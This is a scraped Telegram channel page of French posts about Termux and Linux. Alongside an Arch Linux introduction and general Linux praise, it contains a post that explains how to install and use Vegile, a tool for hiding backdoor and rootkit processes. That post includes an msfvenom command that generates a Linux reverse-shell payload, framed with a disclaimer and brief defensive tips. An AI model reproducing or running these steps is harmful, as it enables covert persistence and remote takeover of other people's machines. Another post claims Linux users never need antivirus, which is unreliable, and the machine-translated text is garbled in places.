TERMUX & LINUX
Kanalga Telegramâda oâtish
UN PEU DE TOUT sur termux et linux dans tous les niveaux. Apprenez a faire du hacking ethique avec termux et linux, aider, proteger, pentester en toute securite et legalite L'UNION FAIT LA FORCE
Ko'proq ko'rsatish2 531
Obunachilar
+424 soatlar
+197 kun
+4030 kun
Postlar arxiv
2 530
L'ordinateur le plus sophistiquĂ© et plus Ă©lĂ©gant au mondeđđđđ
Comment vous le trouvez
2 530
Walter Scott:
Arch Linux est une distribution Linux inspirée de la
distribution Crux Linux , dont la premiĂšre version a
été créé en Mars 2002 par un certains Judd Vinet.
Elle repose sur la philosophie du KISS ( keep it
simple , stupid ) , qui comme vous lâaurez
surement déjà compris , préconise une ligne
directrice de conception la plus simple possible .
De par ce fait, Arch linux a pour avantage dâĂȘtre
relativement rapide et léger, idéal donc , si vous
souhaitez redonner une seconde vie Ă votre vieil
ordinateur par exemple .
Lâinstallation dâ Arch linux est un peu plus
compliquĂ©e que pour dâautres distributions tel que
Debian, mais en soit rien de bien sorcier si vous
suivez bien ce tutoriel en nâoubliant pas bien sĂ»r,
de lâadapter Ă vos besoins et Ă votre matĂ©riel.
Jâillustrerai mes propos avec une machine virtuelle
en guise dâexemple afin dâĂȘtre le plus prĂ©cis
possible, mais en cas de doute, nâhĂ©sitez pas Ă
faire une petite recherche annexe. Nous traiterons
dans ce tutoriel de lâinstallation basique de Arch
linux , et pour les plus motivĂ© dâentre vous, nous
installerons une interface graphique ainsi quâ un
noyau de systÚme adapté à vos besoins et à votre
matĂ©riel afin dâoptimiser votre configuration au
mieux.
Commençons donc par lâinstallation de base de
notre systĂšme Arch linux. Pour ceux ne lâayant pas
dĂ©jĂ fait, je vous invite Ă aller rĂ©cupĂ©rer lâiso Ă la
page suivante : https://www.archlinux.org/
download/
Je vous laisse donc boot dessus, et nous
commencerons ce tutoriel lorsque vous serez
arrivĂ©s Ă lâĂ©cran suivant :
2 530
âââ
Cliquer sur install
Taille du fichier 60 MB
AprĂšs l'installation cliquer sur install X support
2 530
C'est Mr R
Plus besoin de rooter votre phone pour installer des outils de termux télécharger @Gnuroot_debian sur play store installer
2 530
############
# vegile #
############
Vegile initialement conçu pour les attaques du systÚme d' exploitation Linux, sécurité dans le systÚme.
C'est pour les fichiers backdoor, avec la possibilité de gérer et postexploitation.
N'importe quelle plate-forme Linux peut le baser (base32, base64 - pas de différence)La tùche principale de Vegile est de fournir un support pour le niveau d'accÚs au systÚme cible. à l'avenir, cela permettra de travailler pour une intrusion plus profonde dans le réseau. J'ai pensé faire cette revue pour la section Grey, mais en me souvenant du vaste public de Codeby, j'ai décidé que le plus grand nombre possible d'utilisateurs de Linux devraient savoir et prendre des mesures de sécurité lorsqu'ils rencontrent une telle arme. L'insidiosité de Vegile est magnifique à sa maniÚre: guidé par une porte dérobée ou un rootkit, qui tombe sur le systÚme d'exploitation cible, il s'accroche comme une tique et commence à cacher le processus, attendant que l'attaquant appelle le shell. Lorsqu'il est détecté (et ce n'est pas si facile à faire), il montre qu'il n'y a pas de tels processus.
Mais en mĂȘme temps, est loin pas bien avec la cible simple commande OS.Pri # ps -aux,
vous pouvez le regarder Ă nouveau trĂšs vivant, et vous essayez de tuer le processus, Vegile berce la vigilance,
en fait, attribue un nouveau PID, puis génÚre un tas d'autres processus. Sur la machine attaquante, vous n'avez pas à vous soucier de perdre la session, car mouvement facile de répétition de la commande d'exploit, lechasseur peut observer plusieurs sessions avec accÚs shell à la fois. Comment télécharger:
Code:
# git clone https://github.com/Screetsec/Vegile.git
# cd Vegile
# chmod +x Vegile
# ./Vegile --help
L'auteur de la revue et l'administration de la ressource rappellent que l'outil est considéré exclusivement
dans le cadre de la familiarisation et de l'étude des problÚmes de sécurité de l'information.
Il est strictement interdit d'utiliser l'outil à des fins illégales.
Il y a quelques options, comme vous pouvez le voir, un peu:
Spécifier le fichier avec lequel travailler, avec la fonction de reprise
et en utilisant l'option pour cacher les processus.
Code:
$ sudo ./Vegile --u
$ sudo ./Vegile -- I
$Vegile -i / --inject [backdoor/rootkit]
$Vegile -u / --unlimited [backdoor/rootkit]
$Vegile -h / --help
Il est recommandé que le fichier malveillant soit généré dans msfvenome:
Code:
msfvenom -a x86 --platform linux -p linux/x86/shell/reverse_tcp LHOST= "IP" LPORT= 8080 -b "\x00" -f elf -o BACKDOOR
Vous pouvez également utiliser TheFatRat, ou recourir à d'autres méthodes.
J'ai utilisé le port 8080 comme l'auteur dans mon exemple.
La session est arrivée immédiatement, dÚs que Vegile a rejoint le travail, bien que Metasploit n'a pas montré que l'exploit avait fonctionné en premier.
Comment se protéger d'une telle attaque?Avec une variété de backdoor, un attaquant sait quel nom a le processus.
Lorsque Vegile est inclus dans la gestion d'un fichier malveillant, le processus s'appelle screetsec (basé sur le surnom de l'auteur).
Mais c'est le cas par défaut: Tuez le processus, comme vous pouvez le voir, un peu, et cela ne vous permet pas d'obtenir le résultat désiré.
Gardez le systÚme propre, vérifiez réguliÚrement les rootkits et les logiciels malveillants.Ici, si de tels processus sont détectés, il ne suffit pas de supprimer ces fichiers. J'ai réussi à me débarrasser seulement lorsque le systÚme a été complÚtement retiré et redémarré.
Avant cela, les processus étaient encore affectés.
đąđąđąđąDĂ©faut d'image
2 530
enfin, la programmation pour les plus aguerris d'entre vous, Linux permet de façon plus rigoureuse que Windows de s'initier à la programmation, mais aussi de découvrir le fonctionnement d'un systÚme d'exploitation et de le modifier/customiser à sa guise, de contrÎler réellement sa machine et ce que l'on en fait, d'installer et d'utiliser simplement des milliers de logiciels sans risquer d'endommager son systÚme
2 530
En claire Linux est un univers différent de Windows, changer permet de découvrir autre chose et d'élargir ses horizons ! bon ce n'est pas toujours une bonne raison en soi, mais avec un ou deux autres points, ça permet de prendre une décision !
2 530
Walter Scott:
- La sĂ©curitĂ© : beaucoup de personnes passent Ă Linux car elles en ont marre des problĂšmes de virus et d'insĂ©curitĂ© sous Windows. Sous Linux, il n'y a que trĂšs peu de virus, et de part sa conception mĂȘme, il est trĂšs peu vulnĂ©rable et permet difficilement la propagation des virus. Vous n'aurez jamais besoin d'un antivirus
2 530
Walter Scott:
L'utilisation de linux a la différence de window
En matiÚre de sécurité
